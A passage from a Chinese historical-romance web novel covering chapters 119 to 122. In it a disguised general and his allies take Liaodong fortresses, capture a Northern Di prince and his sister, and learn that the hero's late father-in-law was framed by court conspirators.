“行,你说守得住便守得住。”他起身走到帐门口,掀开帘子往外看了一眼:“粮呢?火铳呢?你那位徐先生与艾神父,何时到?” 远处,驿道上扬起一溜尘土。 一队车马正朝营盘驶来,打头的是辆牛车,车上堆得满满,用油布盖着。后面跟着几匹马,还有几辆马车,车上的人穿得五花八门,有灰袍有短褐,还有一个人穿着黑布长袍,脑袋上扣着顶怪模怪样的帽子。 “这不是到了。”朱弘毅说话间,已走到张文龙的身侧。 张文龙眯起眼,看着那队车马越来越近。 牛车在营盘门口停下,来人将油布掀开,露出下面一个个木箱。 张文龙走近,将木箱打开,见里面躺着一支支火铳,铁制枪身在阳光下泛着幽幽的冷光。 “地道的西洋货。” 深眼窝高鼻梁的艾儒略从牛车上跳了下来,拍了拍袍子上的土,用不太利落的官话说:“一共两百支,一箱五十支,共四箱。红夷大炮太重,走得慢,还在后头,明日才能到。” 张文龙走过去,从箱子里拿起一支火铳,掂了掂,又放了下去。 “比咱们现在使的鸟铳沉。” 艾儒略忙解释:“张大人,这是尼德兰的最新样式,从东印度公司上的货,正因为沉,才打得远。” 张文龙点了点头,背着手围着那牛车走了一圈,叹道:“这些东西,得花不少银子吧?” 朱弘毅嘴角微微一扬,故意哭穷道:“是花了不少,不过先记我账上,等张将军拿下整个辽东,再还不迟。” 张文龙瞪了他一眼,旋即抬腿佯装踹去:“好啊,你小子倒是会摆弄老子。老子还没说还,你倒先给老子记上账了,怎不给你那岳父大人记记账?” 朱弘毅忙躲开,做了一个双手拜天的动作:“岳父大人在上,小婿不孝,不过您在天之灵,也得管管您那老部下,欠人钱财,总打秋风,可不是长久之计。” “你!” “哎…都半截身子入土的人了,还跟黄毛小子拌嘴。” 就在两人说闹间,只见徐明阳拎着个麻袋,从马车上走了下来。 “徐师傅。”朱弘毅见他,拱手一礼。 徐明阳走近,将麻袋往张文龙手里一塞:“这玉米种子,后面车上带了共一百斤,今年种下去,明年这时候,你手底下的人就有粮吃了。” 张文龙打开麻袋,抓了一把出来。那玉米粒黄澄澄的,颗颗饱满,比高粱粒大得多。 “这东西…好吃?”他好奇问道。 “比高粱好吃。”徐明阳说:“亩产也高。” 张文龙把玉米粒放回袋里,扎紧口子,递给身边亲兵,并嘱咐道:“收好了,开春便开始种。” 亲兵抱着袋子走了,张文龙这才招呼众人进中军营帐:“走吧,咱们继续研究,这牛庄到底该怎么打。”—— 作者有话说:朱弘毅,当女婿当上瘾了是不? 第120章 辽东, 海州,军营。 夜已深沉。 营盘中央燃起了一堆篝火,夜色下, 火舌冲天, 噼啪作响。 徐明阳与艾儒略被围着, 身侧坐了一圈的人,有好奇问西洋事的,有虚心请教玉米怎么种的,有问火铳能打多远的。 艾儒略的官话说得磕磕绊绊,连比带划的,惹得篝火旁阵阵哄笑。 朱弘毅没与他们同坐在篝火旁。 他独自一人坐在不远处的一个土堆上,月光清冷, 洒了他满身。 他低着头,手里攥着一枚玉佩, 拇指一遍遍地抚过玉佩上的周字。那纹路他闭着眼都摸得出来, 却仍忍不住一遍一遍地摩挲。 脚步声自身后传来。 他没回头,只是将玉佩攥进了掌心里。 张文龙走了过来,在他身侧坐下, 手里拎着个酒壶,往他面前一递。 “喝一口。” 朱弘毅接过, 仰头灌了一口,那酒烈得很, 灼得他喉咙发紧,咽下去之后, 胸口却是热了一片。 张文龙没有看他,只盯着远处的篝火,火光映在他脸上, 明明灭灭的。 半晌,他开口问道:“小子,想你的未婚妻了?” 朱弘毅握着酒壶的手顿了顿,开口道:“是,很想她。” 张文龙偏过头,看了他一眼。那人的侧脸浸在月光里,辨不清神情,只下颌的线条绷得极紧。 他抬手,在朱弘毅肩上拍了拍,笑道:“年轻人。” 两人都没再说话。 远处的笑声断断续续飘过来,艾儒略不知说了句什么,又惹起一阵哄笑。 而这边却静着,只余晚风掠过荒原的声响。 静了许久,直到手中的酒壶空了,张文龙才开口:“为何一定要打牛庄?” 朱弘毅没立刻接话。 他抬起头,望向远处的夜色。 月光下,荒原一直铺到天边,黑沉沉的,望不见尽头。 “打下了牛庄,辽河套就攥在手里了。” 半晌,他复才说话,声线不高,却异常平稳:“北狄人想过辽河,得先问问咱们答不答应。” 张文龙没吭声,等着他继续往下说。 “北狄人这几年愈发猖狂,不就是仗着马快弓强,咱们追不上,打不着么?” 朱弘毅续道,目光仍望着远处:“如今我们有火铳,艾儒略说了,这东西比他们的弓射得远。红夷大炮一架,射程盖过他们的马队冲锋。只要站住牛庄,他们就不敢再往南踏一步。” 张文龙点了点头,仍没说话。 朱弘毅沉默了片刻,复又开口:“张将军,辽东的百姓,为何会往山海关内跑?” 他转过头,目光坚定地看向张文龙,月光照在脸上,眼中有光在闪烁。 “不是因为故土不好,而是因为连年战乱,在这里根本就活不下去。” 说到这里,他顿了顿,复又说道:“他们若是能在海州活下去,能在牛庄活下去,能在自己的土地里种出粮食来,试问谁还愿意背井离乡?” 张文龙看着他,看了好一会儿。 忽然,他笑了,抬手重重拍在他肩上。 “不愧是周承山的准女婿。” 听到这话,朱弘毅一愣。 张文龙的语气里带着点揶揄:“看来周承山的女儿,对你影响很大,把你…调/教得挺好。” 朱弘毅唇角微微上扬,带着一点骄傲:“那是自然,她是这世上最好的姑娘。” 张文龙眉梢一动,没接话。 朱弘毅的拇指又抚上了那枚玉佩,复又说道:“她正直,良善,有智识,有才华,有风骨。” 他顿了顿,声音低下去:“这世上,再没有比她更好的姑娘了。” 张文龙笑了笑,转过头,又望向远处的篝火。 那边的笑声还在继续,火光跳动着,将围坐一圈的人影子拉得老长。 静默了片刻,他忽然伸手,在朱弘毅肩上重重拍了两下。 “好。” 他的声音铿锵有力:“好。” 朱弘毅转过头,不解地看向他。 张文龙没有看他,只望着篝火的方向,神情被火光映得忽明忽暗。 半晌,他才叹道:“看来周承山的在天之灵,可以安息了。” 听他这样说,朱弘毅攥紧了手中的玉佩。 张文龙站起身,拍了拍袍子上的土,低头看他,声音里带着笑:“你小子,好好干。等辽东太平的那天,我一定去京城喝你们的喜酒。” 说完,他便转身往篝火那边去了。 ———— 辽东送往京城的战报,呈上去的是一套,实情是另一套。 海州拿下之后,牛庄也跟着被拿下。皮岛军自海上登岸,由陆路再推进,辽河套诸堡,如今都插上了“张”字帅旗。 打下牛庄的那日,朱弘毅立在城头良久。风自辽河吹来,他低头看着手中的玉佩,看了许久。 张文龙在城下喊他:“小子,下来喝酒!” 他应了一声,才拾级而下。 自那以后,他们的队伍就没停过。 徐明阳带来的玉米种子被分了下去,艾儒略的火铳也一支支发到兵卒手里。种地的种地,操练的操练,哨骑放出去二十里,回来报说北狄人退了三十里。 百姓跟着投奔而来。 起初三三两两,后来成群结队。有挑着担子,牵着孩子的,有扶着老人的,有从山里,林中,不知哪个山坳里冒出来的,成群结队往营盘门口走去。 走到门口便停住,也不敢进去,只在门口站着观望。 看了好一会儿,才有胆大的往前迈一步,问道:“听说你们…发粮?” “发。” “那有地分吗?” “有。” 守营的兵士也问百姓:“你们当中,还有能打仗的吗?” “有,那边山坳里,还有没逃出去的男娃儿。” “张”字帅旗插在城头,风一吹,猎猎作响。 前来投奔的百姓看着那面旗,像见了活菩萨一般,集体跪了下去,边磕头边哭。 张文龙不兴这个,见此情形,连忙命人把百姓们都拉了起来:“跪我作甚?要跪,就跪你们自己的土地。” 军报传到京城,入兵部,进司礼监。 魏琰把那沓战报翻来覆去看了数遍,脸色一寸寸地沉了下去。 “辽东总兵是谁的人?” 底下人小心翼翼回道:“现任辽东总兵郑康,以前跟过周承山的,后来周家军散了,他便一直待在辽东,不属任何一派。他之前三任总兵,一个战死,两个被去职,辽东无人可用,才将他提了上去。不过此人一向低调,李道远,高第行事,他从不阻拦。” 魏琰将那沓战报往案上一摔。 “不属任何一派?” 魏琰冷笑道:“那便让他去打,打下海州,拿下牛庄,功劳便是他的,若是打不下来,便取他项上人头。” 圣旨很快就下去了。 郑康接到圣旨时,正在营帐里擦刀。他将圣旨从头至尾仔仔细细地看了一遍,随即搁到了案上,继续擦着手中的刀。 副将侍立于一旁,不敢作声。 擦了半晌,郑康放下手中的刀,起身走到帐门口,掀开帘子,往海州方向望了望。 副将走到他身侧,小心翼翼问道:“大人,这明显是个局,我们是打还是不打?” 郑康将帘子放下,踱回书案旁,望着案上摊开的辽东地图,端详了许久。 半晌,他才开口道:“若是不打,便是忤逆圣旨,得罪京中贵人,尤其是魏公公。若是打,便是同室操戈,两败俱伤,让北狄人趁虚而入,那皮岛兵刚将北狄人逼退三十里地,若是我们此刻去攻海州,他们便算是白忙活一场了。” 他说罢这话,营帐中霎时陷入一片沉寂。 郑康在营帐中来回踱步,思虑了许久。 终于,他脚步一顿,吩咐副将道:“即刻点兵,随本将出征海州。” 郑康领着大军在海州城外扎营,不攻,不退,就那么耗着。 皮岛兵早得了郑康接旨来攻的消息,朱弘毅却笃定得很,他料定郑康绝不会真打。 毕竟郑康作为周家军旧部,能在阉党间虚与委蛇这些年,靠的便是装聋作哑,装傻充愣。 于是他命人密切留意郑康在海州城外的一举一动。 郑康扎营月余,竟似要在此长驻,却一直未有动作。 直到一日,他命人秘密潜入海州城,寻到了一个叫李硕的人,夜深人静时,将人悄悄带入了辽东军的营帐。 这李硕是何人? 他是郑康的故交,两人自幼便相识,同窗共榻,一道读书习武。论起来还沾着远亲,郑康家道中落时,曾寄居李家,与李硕同吃同住。 后来各奔前程,郑康投了军,辗转至辽东,李硕拜在徐明阳门下,读书做学问,本以为这辈子便是教书育人,谁料老师一门心思往辽东运粮送种,他便也跟着来了。 如今他管着张文龙麾下的粮仓。 说是粮仓,不过是几间木板搭的棚子,里头堆着徐明阳从天津卫运来的粮与玉米种子。他每日算账,分粮,记人头,忙得脚不沾地,倒也踏实。 老朋友见面,不免寒暄了几句,郑康打量李硕如今模样,笑了笑:“瘦了,怎么,张文龙竟不管你们一顿饱饭?” 李硕知他是调侃,也笑了笑:“你倒是没变。” 说罢,他走到矮榻边坐下,案上早已备好郑康提前备下的酒。 李硕也不客气,自斟了一杯,仰头饮尽。酒是辽东本地的烧刀子,浓烈又灼喉。 郑康也自斟了一杯,同样一饮而尽。 饮毕酒,郑康开口问道:“何时来的海州?” “半年了。”李硕道:“徐先生让我来帮着管粮。” 郑康点头。 沉默了片刻,他复又问道: “你老师这些年可好?” “还好。”李硕道:“在天津卫种地,教书,跟一个叫艾儒略的西洋人走得极近,整日捣鼓那些西洋玩意儿。” 郑康笑了笑:“他那性子,一辈子也改不了。” 李硕亦笑了笑。 郑康看着自己手中的酒杯,忽然冷笑道:“圣旨的事,你知道了?” 李硕点了点头。 郑康继而愤恨道:“魏琰那老阉货,让我打海州,打牛庄,他打的是什么主意,我心里难道不清楚?打下来是我的功劳,打不下来便是要我的脑袋。” 李硕看着他,没作声。 郑康又饮了一口,继而问道:“你说,我该怎么办?” 李硕默了片刻,忽然问道:“你这些年,在辽东过得怎么样?” 郑康一愣,没料到他会问这个。 “什么怎样?” “就是…心里,过得怎样?” 郑康没接话。 李硕继续说道:“李道远搜刮地皮,你冷眼旁观,高第贪墨军饷,你亦是冷眼旁观,北狄人年年南下,屠戮百姓,你还是眼睁睁地看着。” 郑康的脸色霎时变了。 “我知道。”他为自己辩白道:“我都知道。” 李硕反问道:“知道你还眼睁睁地看着?这不是我认识的郑康。” 郑康听罢这话,却是不作声了。 李硕看着他,烛光照在两人脸上,半明半暗的。 “我就问你一句。”李硕打破此间的沉静:“当年黑水河之战,你心里,服吗?” 郑康的手顿住了。 他死死攥着酒囊,手指因用力而尽失血色。 李硕见他动容,继而又说道:“周家军被北狄围了三个月,朝廷不发援兵,不发粮草,就那么看着他们死,你在外围,进不去,帮不上,那三个月,你怎么熬过来的?” 郑康没说话。 他的脸埋在阴影中,辨不清神情。 李硕续道:“后来周家军全军覆没,你被留在辽东,一留便是十几年,李道远与高第的恶行,你不是不想管,是管不了,对么?” 郑康抬起头。 李硕迎着他的目光,没有躲开:“郑兄,如今何为正道,你应当知晓。” 郑康忽然转过身去,背对着他,声音有些哑:“你让我想想。” 李硕没动。 “你让我想想。”郑康又道:“你让我想想。” 李硕点了点头:“行,那你便慢慢想,等你想好了,再来寻我,不迟。”《 》 120-130 第121章 李硕回到海州城后, 朱弘毅心里的盘算算是落了地。 他料定郑康就那么耗着,不进不退,自己便可领着皮岛兵, 专心去打北狄人了。 此时恰好传来军报, 一伙北狄人来犯宁边堡, 据说领头者的来头不小。 朱弘毅向张文龙请命,取过面具覆上,亲率一队人马前去迎战。 宁边堡在辽河套东,地方虽不大,位置却卡得死。北狄人在那儿屯了几千的骑兵,时不时便往南探,似要试出牛庄的深浅。 朱弘毅就带了八百人去, 以少对多,直打了三天三夜。 张文龙起初还不放心, 带着援兵在外围接应 。只听火铳声响到天明, 探子回报:北狄马队冲了五回,五回皆溃。直到第五回罢,朱弘毅率人从侧翼压上, 亲手将那身披铠甲,穿金边袍子的少年从马上拽了下来。 那少年摔在地上, 挣扎欲起,却被朱弘毅一脚踩住腕子, 低头看他。 少年抬着眼睛瞪着他,面上一副不服气的样子, 却也不怕。 朱弘毅居高临下问他:“你叫什么?” 少年死死咬着牙,默不作声。 一旁的兵士上前,从他身上搜出了一块腰牌, 递了过来。 朱弘毅接过看了一眼,上面刻着北狄文字,他看不懂,却认得那纹样,是北狄王族的印记。 他把腰牌收进怀里,低头又看了那少年一眼,随即下令: “带走。” 少年被缚于马背,一路被带回了海州大营。 朱弘毅寻来识北狄文字的军师,那军师道,腰牌上写的是北狄王子阿穆尔。 张文龙亦凑上前来,从军师口中得知,原来这阿穆尔是北狄大汗的幼子,昔年最是得宠。只因大汗当年被周承山以红夷大炮轰伤,不久便薨逝了,如今由其兄继位。阿穆尔为向兄长证明自己非养尊处优之辈,自请赴宁边堡前线,却不想栽在了朱弘毅的手里。 张文龙听罢,笑着调侃道:“跟你倒是有几分像。” 朱弘毅斜了他一眼:“既然张将军都这么说了,看来我得优待他些。” 说罢,他即刻命人给阿穆尔松绑,寻了间单独的帐篷关押,并嘱咐道:“派人将帐篷守死,务必不能让他跑了。” 待少年被带进帐篷的时候,愣住了。 帐中陈设齐备,榻几,毡毯,炭盆,乃至几套换洗的衣物,一应俱全。 他立在帐中,环顾四周,又看门口重兵把守,再看看自己腕上已被解开的绳索,困惑不已。 “这什么意思?”他用不甚流利的大晟官话问道。 帐外风声呜咽,竟无人应答。 此后数日,朱弘毅待阿穆尔不似战俘,反如贵客。 吃穿用度一概不缺,两日一只羊,七日一头牛,佳肴美酒不断,竟比张文龙本人吃的都好。 除却无人身自由,他在此处过得竟比在北狄王帐还舒坦。要知道,其兄即位后,他在盛京城中便一直不受待见,他的兄长嫌他无军功在身,是个只知坐食俸禄的废物。 如今在盛京,除却他姐姐博尔济公主外,竟无人真心待他。 阿穆尔在帐中饮着温酒,竟不由自主地念起姐姐来。 夜已深,海州军营沉入一片死寂。 营盘北侧,一小股人马正贴着栅栏悄悄地潜了进来。 来人不多,只十数个,行动却极其利落。 他们避开巡逻的兵,绕过扎营的帐篷,一路往营盘深处摸去。 越往里走,守备越松。 那领头的人心中有些得意,什么皮岛军,什么张文龙,不过如此。 又摸出数十步,前面赫然出现了一顶帐篷,门口守着两个兵,倚柱而立,脑袋一点点下沉,似已睡熟。 领头人抬手,身后人散开,悄无声息地包抄了过去。 刚要掀帘… 只见霎那间,四周骤亮。 火把自四面八方涌出,照得帐篷前一片亮如白昼。 脚步声轰然,刀剑出鞘声此起彼伏,无数兵士从暗处冲出,将那十几个北狄人团团围住。 “有埋伏!护住主人!” 身后人拔刀,围成一圈将那领头人护在核心。 可那些兵太多了,密密麻麻的,用刀枪棍棒指着他们,根本冲不出去。 北狄勇士确实悍勇,三人冲上去,放倒了两个皮岛兵。但皮岛兵太多了,倒下一个,又围上三个。刀枪架过来,北狄人一个一个被逼得缴了械,被皮岛兵按在了地上。 那领头人挥着弯刀左冲右突,他身手确实好,像一头被困的狼,刀刃翻飞,接连放倒了两个皮岛兵。 但下一瞬,几杆长枪从不同方向架住了他手中的弯刀。 他尝试着挣扎了一下,没有挣脱开。 又一杆枪从侧面扫来,枪杆重重击在他的腿弯上。 那领头人吃痛,单膝跪地。 随即,几双手从背后伸来,反剪了他的双手,将其捆了个结实。 他跪在那里,喘着粗气,抬眼往前看。 火光中,一个高大的身影缓缓朝他走来。 那人手中握着剑,剑尖犹滴着北狄人的血。 他在他面前站定,将到手中的剑架到了他的脖子上,低头俯视,压迫感极强。 那领头人昂首瞪视,眸中火光灼灼。 那身材高大的男子没说话,只命人举起火把,往他脸上照去。 刹那间,男子身后忽传来一声惊呼,少年嗓音都变了: “阿姐!” 只见阿穆尔站在帐门口,身上只披了一件外袍,像是刚从睡梦中惊醒。 他看着被围在中间的姐姐,被按在地上的勇士,看到朱弘毅手中那把滴着血的剑,正架在他阿姐的脖颈上… 他不顾一切想要冲过去,却被旁边兵士一把拦住。 “阿姐!你们放开她!” 朱弘毅回头看了阿穆尔一眼,又低头看了一眼那被俘的领头人。 他命人将火把凑近了些。 火光底下,确是一张女子的脸,眉眼凌厉,嘴角抿得极紧,确是女子无疑。 他微微怔了一下,随即将剑锋收起。 君子不伤女子,这规矩,他自幼便耳濡目染。 就在剑锋离开她脖颈的那一瞬… 那女子突然动了。 她虽被绑着腕子,身子却猛地向前冲,一头撞向朱弘毅的小腹。 朱弘毅后撤,她整个人已弹起,攻势凌厉,朱弘毅侧身避过,身后的兵士迅速拧住她的胳膊,将她按回,几个兵士冲了上来,将她重新按跪在地。 她挣扎了几下,见挣不动便不挣了,只拿眼睛瞪着他。 阿穆尔在那头喊:“你别动她!她是我阿姐!你答应过不伤我的!” 朱弘毅未语。 他看了那女子一眼,摆了摆手道:“带进去,和阿穆尔一起关起来,姐弟团聚,也算成全。” 博尔济公主被推搡着,押进了关押阿穆尔的帐篷。 她内心已做好了准备,被羞辱,被拷打,被挟以要挟整个盛京王室,甚至被杀,她都想过。 落在敌军手里,还能有什么好下场? 可帐帘被掀开的那一瞬,她整个人都愣住了。 帐内灯火通明,矮几上摆着烤羊肉,滋滋冒油。旁有一壶马奶酒,壶身还挂着水珠,似刚温好。毡毯铺得厚实,炭盆烧得正旺,帐内暖烘烘的,与外头的寒风相比,竟是两个天地。 阿穆尔站在矮几旁,一身干净的袍子,脸竟比盛京时还要更圆润些,气色好得不像俘虏。 博尔济张了张嘴,话尚未出口,阿穆尔已经冲了过来。 “阿姐!” 他一把抱住她,抱得极紧,似怕她随风飘走似的。 博尔济愣在那里,半晌才抬手,拍了拍他的后背。 阿穆尔松开她,上下打量着,眼眶竟然红了。 “阿姐,你怎么来了?你怎么敢来?” 博尔济没回答,只是看着他,看他的脸,他的衣裳,他的气色。 半晌,才试探地问道:“你…没事?” 阿穆尔摇头:“我没事,阿姐,我在这儿挺好的,真的挺好。” 博尔济张了张嘴,一时竟不知该说什么。 挺好? 被敌军俘了,叫挺好? 北狄王子的骨头,就这么轻贱? 可帐中这些陈设,这些吃食,她弟弟这张圆润的脸,又由不得她不信。 阿穆尔拉她在矮几旁坐下,将羊肉往她面前推,把马奶酒往她手里塞。 “阿姐,你先吃点东西,一路赶来定是饿了。” 博尔济握着那碗马奶酒,看着面前热气腾腾的羊肉,心中五味杂陈。 她正要开口,帐帘又掀开了。 寒风自帘外卷入,账内烛火随之一晃。 博尔济猛地抬头,手已按向腰间,可她按了个空,她那把弯刀早已被缴了。 进来的那人,她认得。 就是方才在帐外,拿着剑架在她脖颈上的那个人。 他卸了铠甲,只着一身玄色暗纹曳撒,布料寻常,穿在他身上却显得异常沉峻。 那人身形高大,身姿挺拔,烛光从他侧面照来,将他的影子拉得极长。 博尔济抬起眼,这才细细端详起他来。 方才在外面,又是火把又是刀剑,她只顾着拼命,根本什么都没看清。 此刻灯下细看,她不由得怔住。 那人面容俊美,眉眼深邃,鼻梁挺直,薄唇微抿。站在那儿,未语未动,却自有一股气势压来,让人不敢轻易喘气。 博尔济在北狄见过无数勇士,有身材魁梧 的,有性格豪迈的,却少有像他这样的… 好看,却不只是好看,沉稳,却带着不敢让人直视的威严。 他眉宇间仿佛凝着北地的冰雪,又冷又深。 她看得不由得发怔了,直到阿穆尔在旁边拉了拉她的袖子。 朱弘毅走了进来,在矮几另一侧站定,他低头看了一眼桌上羊肉和马奶酒,又抬眼,目光落在了博尔济的脸上。 博尔济被他看得心头一紧,下意识挺直了腰杆,昂起头,像一只竖起翎羽的小孔雀。 输阵不输人,这个道理她还是懂的。 良久,朱弘毅终于开口了。 声音低沉,悦耳,却自带威压,让人听了便不由自主地屏住呼吸。 “博尔济公主,夜闯军营,你好大的胆子。” 博尔济心头一颤,面上却不露分毫,她昂着头,迎上他目光,一字一句道:“要杀要剐,悉听尊便!不过,先放了我王弟!” 朱弘毅听了,嘴角似动了动,线条微微上扬,几乎不可辨。 “杀你?” 他声音低沉平稳:“为何要杀你?” 博尔济霎时怔住了。 朱弘毅续道:“本将若想杀你们,令弟也不会在此安享酒肉了。” 他顿了顿,目光扫过阿穆尔,又落回了博尔济的脸上:“本将请王子殿下在此做客,是有一件大事,需殿下相助,事成之前,只能委屈殿下在此暂留些时日。” 他说得从容,仿佛一切尽在掌握之中,她夜闯军营,也不过是他棋盘上早算好的一步棋。 博尔济心里涌起一股说不出的滋味。 这人怎么这样? 她带人来救弟弟,差点杀了他的人,还差点伤到他。 他却不杀她,也不关她,只是站在那儿,用那种一切尽在掌握的口气,说请她弟弟在此做客。 还没等她反应过来,却见朱弘毅又开口了:“至于公主你…” 他看向她,目光平静,没有怒意,没有嘲讽,只是平静。 “既然来了,便也一同在此做客吧。” 说罢,他便头也不回,转身往外走了。 博尔济盯着他背影,盯着他掀帘时露出的那只手,指节分明,修长有力。 帘子落下,他的身影彻底没入了夜色之中。 博尔济还盯着那帘子,一动不动。 阿穆尔在旁边唤她:“阿姐?阿姐?” 她没应。 阿穆尔伸手在她眼前晃了晃:“阿姐,你怎么了?” 博尔济这才回神,转头看向他。 “没…没怎么。”她的声音有些发干。 阿穆尔看着她,忽然咦了一声: “阿姐,你脸怎么红了?” 第122章 待朱弘毅走后, 帐中彻底静了下来。 博尔济还盯着那道帘子,盯着那人消失的方向,一动不动。 帘子犹自轻晃, 晃了几下, 才慢慢停住。 阿穆尔在旁边看着她:“阿姐?” 博尔济没应他。 阿穆尔伸手在她眼前晃了晃:“阿姐, 你没事吧?” 博尔济这才回过神来,转头看向弟弟。 她的脸还烫着,不知何时浮上一层薄红,自己竟丝毫未察觉。 阿穆尔看了她一会儿,忍不住问:“阿姐,你刚才…在想什么?” 博尔济没接话,只端起那碗马奶酒, 一饮而尽。 烈酒入喉,脸上的热却半点未退, 反灼得更厉害了。 博尔济让自己冷静了片刻, 方才开口问道:“阿穆尔,我问你,方才那人是谁?还有…他说留你在此, 是有一件大事需你相助,你可知那大事是什么?” 阿穆尔看着她的眼睛, 摇了摇头:“阿姐,我只知道他叫周毅, 这里的人都叫他蒙面将军,因为他每次上战场, 都戴着面具,至于他说的那件大事…我也不知道到底是什么。” 博尔济皱眉:“周毅?…周毅…” 她喃喃着,嘴里反复念叨着那个名字。 阿穆尔忽然打断了她:“阿姐, 你从刚才就…一直盯着他看。” 博尔济瞬间愣住,下意识反驳道:“我没有!” “你就是有!” 阿穆尔撇撇嘴:“从他进来的时候,你就盯着他看,他说话的时候,你目不转睛地看着他,他走的时候,你目送他出帐篷。” 博尔济张了张嘴,想反驳,却发现自己说不出话来。 阿穆尔看着她羞窘的样子,忽然笑了:“阿姐,你不会是…” “是什么?” 阿穆尔没说完,只摇了摇头:“没什么,阿姐,你饿了吧?先坐下吃点东西吧。” 此后月余,博尔济与阿穆尔姐弟俩便住在这顶帐篷里。 说是俘虏,实同贵客。 桌上日日摆着热腾腾的烤羊腿,外皮焦黄,滋滋冒油。 奶豆腐盛在白瓷盘里,一块块码得齐整,间或还有从中原运来的鲜果,苹果,梨子等等,与军营里那些粗犷的干粮相比,显得极其突兀。 这日,阿穆尔正啃着一只羊腿。 他啃得极慢,咬一口,嚼半晌,眉宇间却始终凝着愁容。那愁与面前的吃食并不相称,却确确实实地挂在他的脸上。 他把羊腿放下,叹了口气:“阿姐,你说这周毅到底打的什么主意?他每日好酒好肉的供着我们,却绝口不提那大事,也不放我们走,他这网,撒得可真够长的。” 博尔济坐在他对面,手里捧着一碗奶茶,闻言抬起头。 阿穆尔看着她,压低声音道:“他就不怕我们吃完了就跑?” 博尔济没接话,只低头饮了口奶茶。 阿穆尔看着她:“阿姐,你就不想想?” 博尔济放下碗:“想有什么用?他既敢将我们关在这儿,好吃好喝供着,便不怕我们跑,外面那么多兵,你跑一个试试?” 阿穆尔不作声了。 博尔济起身,走到帐门口,掀帘往外看了一眼。 门口守着八个兵,个个站得笔直,见她探头,连眼皮都没抬。 她放下帘子,走回来坐下。 阿穆尔又叹:“阿姐,你说他到底想让我帮他什么忙?我一个小小的王子,在盛京都没什么人待见,能帮他什么?” 博尔济没回答。 她也不知道。 日子就这么一天天的过去了。 阿穆尔脸上的愁容日渐淡了些,但憋屈还在。 他毕竟是北狄的王子,自幼在王帐中长大,父汗溺爱,他何曾被人这般关过? 博尔济倒是不怎么愁。 她只是有时候会盯着那道帘子发呆。 阿穆尔看见过好几回,但没敢问。 直到有一天,帘子被人从外面掀开了。 朱弘毅走了进来。 阿穆尔立刻起身,盯着他。 博尔济也站了起来,却站在那儿没动,只是看着他。 朱弘毅在矮几旁站定,开口问道:“这些日子,可还住得还习惯?” 阿穆尔一愣,没料到他会问这个。 “还…还行。”他说。 朱弘毅点了点头,没再问吃的住的,只是看着阿穆尔。 阿穆尔被他看得心里发毛,忍不住问:“周将军,你到底想让我做什么?你直说吧。” 朱弘毅沉默了片刻。 博尔济的目光却落在他腰间悬挂的玉佩上。 他一身玄色劲装,恰映得腰间那枚玉佩白如凝脂,格外显眼。 “这玉佩上的刻字,我怎么好似在哪里见过?”博尔济下意识地喃喃自语道。 阿穆尔的目光也被吸引了过去,他盯着那枚玉佩端详片刻,忽然道:“这个周字,不是周承山的军印吗?” 朱弘毅猛地抬头,目光如刃,直直落在了阿穆尔的脸上:“你说什么?” 他那双方才还平静如深潭的眼睛,此刻却似被投入了巨石,潭底瞬间翻涌起暗流。 阿穆尔被他的目光看得一愣,下意识往后退了半步。 “我…我说这玉佩上的周字,不是周承山的军印吗?” 朱弘毅盯着他,一字一字地问道:“你这般年纪,怎会识得周承山的军印?周承山死的时候,你才几岁?” 阿穆尔被他问得恼了,脖子一梗,回瞪了过去:“我 确实未曾见过周承山,可我知道,周承山是害死我父汗的人!” 帐内霎时安静了下来。 博尔济站在一旁,看看朱弘毅,又看看阿穆尔,一时不知该说些什么。 阿穆尔却已经说开了头,收不住话了。 “他用红夷大炮将我父汗轰伤,那伤养了三年未愈,最后还是…” 他顿了顿,声音低下去,愈发哽咽:“我父汗最后还是走了…” 朱弘毅未语,只看着他。 阿穆尔被他看得不自在,将脸别了过去。 可他脑中忽然有什么转了一下。 他猛地回头,又盯着朱弘毅腰间那枚玉佩,盯了许久,然后抬头看向他。 “你也姓周。” 他声音中带着些许不确定:“你姓周,又有这玉佩,难不成你是周承山的儿子?” 朱弘毅沉默了片刻,问道:“是又如何?不是又如何?” 阿穆尔一愣。 他未料对方竟如此作答。 是又如何?不是又如何? 他站在原地,脑中纷乱,父汗临终前曾嘱咐过他:若将来遇着持周承山帅印者,务必将真相告知。 他抬起头,看向朱弘毅:“我不能拿你怎样,但我父汗临终前,曾留下过一句话。” 朱弘毅未动,只是盯着他看。 阿穆尔继续说道:“我父汗曾说,周承山是个好对手。” 博尔济在一旁怔住。 阿穆尔却似开了闸,话一句一句地往外涌:“我父汗曾说,打仗归打仗,可他敬周承山是条汉子。他也曾说,大晟朝廷里有人不满周承山,那些人…不想让他活着回去。” 听到此处,朱弘毅的手骤然收紧,手背青筋乍现。 阿穆尔并未察觉他的异样,只继续说道:“那时我父汗已病得起不来床,我大哥监国,许多事都不让我知道。可父汗悄悄跟我说,他知道大晟朝廷里有人暗中与大哥做交易。” 他说到此处,他抬起头,看着朱弘毅的眼睛:“他们用了一计,反间周承山,让大晟皇帝疑心他要通敌。那封信…那封假冒周承山写的信,用的便是这一模一样的周字印记。” 朱弘毅的呼吸骤停。 他低头看一眼腰间玉佩,又抬头,双眼直直盯向阿穆尔。 阿穆尔被他看得有些发毛,但话已至此,收不回去了。 他只得硬着头皮继续说道:“我父汗说,他留了一手,那封信,还有那些人往来的凭证,他悄悄收了起来了。他说,万一有一天…” 他话还没说完,却见朱弘毅已忽然上前一步。 阿穆尔一惊,往后一退,撞在矮几上,疼得闷哼了一声。 朱弘毅却脚步未停,又往前走近了一步,声音低哑:“那些凭证,现在在哪儿?” 阿穆尔一怔,遂道:“我自是知道…” 他顿了顿,看着朱弘毅迫近的脸,忽然笑了:“可将军,我为何要告诉你?” 朱弘毅盯着他,缓缓直起身,笃定道:“你可以不说,但那些凭证,你大哥也在找,不然你以为,他为何急着让你来送死?” 阿穆尔似是被他说到了痛处,顿时便急了:“你!” 朱弘毅嘴角却浮起一丝笑意:“王子殿下,你此前一直问我,想拜托你相帮的大事是什么。现在我可以告诉你,我要同你谈一件关乎两国边境未来数十年和平的大事,作为交易,你将朝廷陷害周承山的证据交予我,我助你回盛京,不是作为俘虏,而是作为北狄王子,与你兄长争那个本该属于你的位置。” “这…” 见阿穆尔还在犹豫,一直站在一旁的博尔济却站不住了。 只见她走上前来,对阿穆尔点了点头:“答应他。” 阿穆尔怔住了,问:“阿姐?” 博尔济笃定说道:“我对大哥早有不满了,自他继大汗位,你看看他都干了些什么?如今盛京城内,可还有你半分立足之地?” 阿穆尔垂下头,似还在犹豫不决:“阿姐…” 